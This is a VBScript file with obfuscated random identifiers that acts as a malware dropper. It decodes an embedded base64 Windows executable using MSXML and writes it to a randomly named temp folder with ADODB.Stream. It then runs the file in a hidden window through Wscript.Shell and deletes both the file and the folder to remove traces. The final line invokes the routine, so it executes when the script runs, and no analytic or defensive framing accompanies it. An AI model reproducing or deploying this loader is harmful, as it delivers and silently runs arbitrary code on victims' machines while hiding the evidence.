Function rvZxBgAzoIkkKH(BGryeZMiEYJKI)
LnZTXYietPcg = "<B64DECODE xmlns:dt="& Chr(34) & "urn:schemas-microsoft-com:datatypes" & Chr(34) & " " & _
"dt:dt=" & Chr(34) & "bin.base64" & Chr(34) & ">" & _
BGryeZMiEYJKI & "</B64DECODE>"
Set XWhCHDfCdxZr = CreateObject("MSXML2.DOMDocument.3.0")
XWhCHDfCdxZr.LoadXML(LnZTXYietPcg)
rvZxBgAzoIkkKH = XWhCHDfCdxZr.selectsinglenode("B64DECODE").nodeTypedValue
set XWhCHDfCdxZr = nothing
End Function
Function lRxNGlJvOirYw()
BWjxRdBcvU = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAF8gSBoAAAAAAAAAAOAADwMLAQI4AAIAAAAOAAAAAAAAABAAAAAQAAAAIAAAAABAAAAQAAAAAgAABAAAAAEAAAAEAAAAAAAAAABAAAAAAgAARjoAAAIAAAAAACAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAAAwAABkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAKAAAAAAQAAAAAgAAAAIAAAAAAAAAAAAAAAAAACAAMGAuZGF0YQAAAJAKAAAAIAAAAAwAAAAEAAAAAAAAAAAAAAAAAAAgADDgLmlkYXRhAABkAAAAADAAAAACAAAAEAAAAAAAAAAAAAAAAAAAQAAwwAAAAAAAAAAAAAAAAAAAAAC4ACBAAP/gkP8lODBAAJCQAAAAAAAAAAD/////AAAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Dim hyKmrRASehB
Set hyKmrRASehB = CreateObject("Scripting.FileSystemObject")
Dim YlZZcWpBjMXOr
Dim hFmmXUZNzdE
Set YlZZcWpBjMXOr = hyKmrRASehB.GetSpecialFolder(2)
hFmmXUZNzdE = YlZZcWpBjMXOr & "\" & hyKmrRASehB.GetTempName()
hyKmrRASehB.CreateFolder(hFmmXUZNzdE)
btcseejVGdV = hFmmXUZNzdE & "\" & "hTSebfAkRTedaXH.exe"
Dim zIHlysiV
Set zIHlysiV = CreateObject("Wscript.Shell")
BUXuNlZZaCxqNC = rvZxBgAzoIkkKH(BWjxRdBcvU)
Set WzmJChNVPwU = CreateObject("ADODB.Stream")
WzmJChNVPwU.Type = 1
WzmJChNVPwU.Open
WzmJChNVPwU.Write BUXuNlZZaCxqNC
WzmJChNVPwU.SaveToFile btcseejVGdV, 2
zIHlysiV.run btcseejVGdV, 0, true
hyKmrRASehB.DeleteFile(btcseejVGdV)
hyKmrRASehB.DeleteFolder(hFmmXUZNzdE)
End Function
lRxNGlJvOirYw